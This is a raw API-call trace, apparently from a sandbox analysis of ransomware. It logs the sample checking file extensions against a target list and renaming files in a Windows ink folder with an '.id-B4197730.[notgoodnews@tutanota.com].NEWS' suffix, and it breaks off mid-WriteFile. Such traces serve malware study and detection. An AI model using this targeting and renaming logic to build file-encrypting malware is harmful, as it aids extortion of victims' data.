GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.945] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.945] lstrlenW (lpString=".doc") returned 4 [0065.945] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.945] lstrlenW (lpString=".docx") returned 5 [0065.945] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.945] lstrlenW (lpString=".pdf") returned 4 [0065.945] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.945] lstrlenW (lpString=".xls") returned 4 [0065.945] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.945] lstrlenW (lpString=".xlsx") returned 5 [0065.945] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.945] lstrlenW (lpString=".ppt") returned 4 [0065.945] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.945] lstrlenW (lpString=".zip") returned 4 [0065.945] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.945] lstrlenW (lpString=".rar") returned 4 [0065.945] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.945] lstrlenW (lpString=".bz2") returned 4 [0065.945] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.945] lstrlenW (lpString=".7z") returned 3 [0065.945] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.945] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.946] lstrlenW (lpString=".dbf") returned 4 [0065.946] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.946] lstrlenW (lpString=".1cd") returned 4 [0065.946] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.946] lstrlenW (lpString=".jpg") returned 4 [0065.946] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.946] lstrlenW (lpString=".doc") returned 4 [0065.946] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString=".docx") returned 5 [0065.946] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.946] lstrlenW (lpString=".pdf") returned 4 [0065.946] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString=".xls") returned 4 [0065.946] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString=".xlsx") returned 5 [0065.946] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.946] lstrlenW (lpString=".ppt") returned 4 [0065.946] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.946] lstrlenW (lpString=".zip") returned 4 [0065.946] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString=".rar") returned 4 [0065.946] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.946] lstrlenW (lpString=".bz2") returned 4 [0065.946] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.946] lstrlenW (lpString=".7z") returned 3 [0065.946] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.946] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.946] lstrlenW (lpString=".dbf") returned 4 [0065.946] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.947] lstrlenW (lpString=".1cd") returned 4 [0065.947] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrcommonlm.dat") returned 66 [0065.947] lstrlenW (lpString=".jpg") returned 4 [0065.947] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.947] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0065.947] lstrlenW (lpString="hwrenclm.dat") returned 12 [0065.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.947] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=498624) returned 1 [0065.947] CloseHandle (hObject=0x33c) returned 1 [0065.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat")) returned 0x20 [0065.947] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.947] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenclm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.947] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.947] lstrlenW (lpString=".doc") returned 4 [0065.948] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString=".docx") returned 5 [0065.948] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.948] lstrlenW (lpString=".pdf") returned 4 [0065.948] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString=".xls") returned 4 [0065.948] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString=".xlsx") returned 5 [0065.948] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.948] lstrlenW (lpString=".ppt") returned 4 [0065.948] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.948] lstrlenW (lpString=".zip") returned 4 [0065.948] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString=".rar") returned 4 [0065.948] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString=".bz2") returned 4 [0065.948] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.948] lstrlenW (lpString=".7z") returned 3 [0065.948] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.948] lstrlenW (lpString=".dbf") returned 4 [0065.948] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.948] lstrlenW (lpString=".1cd") returned 4 [0065.948] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.948] lstrlenW (lpString=".jpg") returned 4 [0065.948] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.948] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.948] lstrlenW (lpString=".doc") returned 4 [0065.949] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.949] lstrlenW (lpString=".docx") returned 5 [0065.949] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.949] lstrlenW (lpString=".pdf") returned 4 [0065.949] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.949] lstrlenW (lpString=".xls") returned 4 [0065.949] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.949] lstrlenW (lpString=".xlsx") returned 5 [0065.949] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.949] lstrlenW (lpString=".ppt") returned 4 [0065.949] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.949] lstrlenW (lpString=".zip") returned 4 [0065.949] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.949] lstrlenW (lpString=".rar") returned 4 [0065.949] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.949] lstrlenW (lpString=".bz2") returned 4 [0065.949] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.949] lstrlenW (lpString=".7z") returned 3 [0065.949] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.949] lstrlenW (lpString=".dbf") returned 4 [0065.949] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.949] lstrlenW (lpString=".1cd") returned 4 [0065.949] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.949] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrenclm.dat") returned 63 [0065.949] lstrlenW (lpString=".jpg") returned 4 [0065.949] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.950] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0065.950] lstrlenW (lpString="hwrlatinlm.dat") returned 14 [0065.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.950] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=1100592) returned 1 [0065.950] CloseHandle (hObject=0x33c) returned 1 [0065.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat")) returned 0x20 [0065.950] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrlatinlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0065.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.950] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.950] lstrlenW (lpString=".doc") returned 4 [0065.950] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.950] lstrlenW (lpString=".docx") returned 5 [0065.950] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.950] lstrlenW (lpString=".pdf") returned 4 [0065.950] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.950] lstrlenW (lpString=".xls") returned 4 [0065.951] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString=".xlsx") returned 5 [0065.951] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.951] lstrlenW (lpString=".ppt") returned 4 [0065.951] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.951] lstrlenW (lpString=".zip") returned 4 [0065.951] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString=".rar") returned 4 [0065.951] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString=".bz2") returned 4 [0065.951] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.951] lstrlenW (lpString=".7z") returned 3 [0065.951] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.951] lstrlenW (lpString=".dbf") returned 4 [0065.951] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.951] lstrlenW (lpString=".1cd") returned 4 [0065.951] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.951] lstrlenW (lpString=".jpg") returned 4 [0065.951] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.951] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.951] lstrlenW (lpString=".doc") returned 4 [0065.951] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString=".docx") returned 5 [0065.951] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.951] lstrlenW (lpString=".pdf") returned 4 [0065.951] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.951] lstrlenW (lpString=".xls") returned 4 [0065.952] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.952] lstrlenW (lpString=".xlsx") returned 5 [0065.952] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.952] lstrlenW (lpString=".ppt") returned 4 [0065.952] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.952] lstrlenW (lpString=".zip") returned 4 [0065.952] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.952] lstrlenW (lpString=".rar") returned 4 [0065.952] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.952] lstrlenW (lpString=".bz2") returned 4 [0065.952] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.952] lstrlenW (lpString=".7z") returned 3 [0065.952] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.952] lstrlenW (lpString=".dbf") returned 4 [0065.952] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.952] lstrlenW (lpString=".1cd") returned 4 [0065.952] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.952] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrlatinlm.dat") returned 65 [0065.952] lstrlenW (lpString=".jpg") returned 4 [0065.952] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.952] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0065.952] lstrlenW (lpString="hwrusalm.dat") returned 12 [0065.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.953] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=2515696) returned 1 [0065.953] CloseHandle (hObject=0x33c) returned 1 [0065.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0065.953] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.953] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString=".doc") returned 4 [0065.954] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString=".docx") returned 5 [0065.954] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.954] lstrlenW (lpString=".pdf") returned 4 [0065.954] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString=".xls") returned 4 [0065.954] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString=".xlsx") returned 5 [0065.954] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.954] lstrlenW (lpString=".ppt") returned 4 [0065.954] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString=".zip") returned 4 [0065.954] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString=".rar") returned 4 [0065.954] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString=".bz2") returned 4 [0065.954] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.954] lstrlenW (lpString=".7z") returned 3 [0065.954] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString=".dbf") returned 4 [0065.954] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString=".1cd") returned 4 [0065.954] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString=".jpg") returned 4 [0065.954] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.954] lstrlenW (lpString=".doc") returned 4 [0065.955] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.955] lstrlenW (lpString=".docx") returned 5 [0065.955] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0065.955] lstrlenW (lpString=".pdf") returned 4 [0065.955] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.955] lstrlenW (lpString=".xls") returned 4 [0065.955] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.955] lstrlenW (lpString=".xlsx") returned 5 [0065.955] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0065.955] lstrlenW (lpString=".ppt") returned 4 [0065.955] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.955] lstrlenW (lpString=".zip") returned 4 [0065.955] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.955] lstrlenW (lpString=".rar") returned 4 [0065.955] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.955] lstrlenW (lpString=".bz2") returned 4 [0065.955] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.955] lstrlenW (lpString=".7z") returned 3 [0065.955] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.955] lstrlenW (lpString=".dbf") returned 4 [0065.955] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0065.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.955] lstrlenW (lpString=".1cd") returned 4 [0065.955] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0065.955] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusalm.dat") returned 63 [0065.955] lstrlenW (lpString=".jpg") returned 4 [0065.955] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0065.956] lstrcmpiW (lpString1=".dat", lpString2=".NEWS") returned -1 [0065.956] lstrlenW (lpString="hwrusash.dat") returned 12 [0065.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0065.956] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x311ff14 | out: lpFileSize=0x311ff14*=3380096) returned 1 [0065.956] CloseHandle (hObject=0x33c) returned 1 [0065.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat")) returned 0x20 [0065.956] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0065.956] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0 [0065.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0065.956] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0065.956] lstrlenW (lpString=".doc") returned 4 [0065.956] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0065.956] lstrlenW (lpString=".docx") returned 5 [0065.956] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0065.956] lstrlenW (lpString=".pdf") returned 4 [0065.956] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0065.956] lstrlenW (lpString=".xls") returned 4 [0065.956] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0065.956] lstrlenW (lpString=".xlsx") returned 5 [0065.956] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0065.956] lstrlenW (lpString=".ppt") returned 4 [0065.957] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0065.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0065.957] lstrlenW (lpString=".zip") returned 4 [0065.957] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0065.957] lstrlenW (lpString=".rar") returned 4 [0065.957] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0065.957] lstrlenW (lpString=".bz2") returned 4 [0065.957] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0065.957] lstrlenW (lpString=".7z") returned 3 [0065.957] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0065.957] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\hwrusash.dat") returned 63 [0065.957] lstrlenW (lpString=".dbf") returned 4 [0065.957] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0067.216] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.216] SetFilePointerEx (in: hFile=0x374, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x311fec0 | out: lpNewFilePointer=0x0) returned 1 [0067.216] CreateFileW (lpFileName="C:\\Program Files\\desktop.ini.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\desktop.ini.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0067.216] GetLastError () returned 0x0 [0067.216] ReadFile (in: hFile=0x374, lpBuffer=0x3b3b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x311fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b3b020*, lpNumberOfBytesRead=0x311fecc*=0xae, lpOverlapped=0x0) returned 1 [0067.216] WriteFile (in: hFile=0x308, 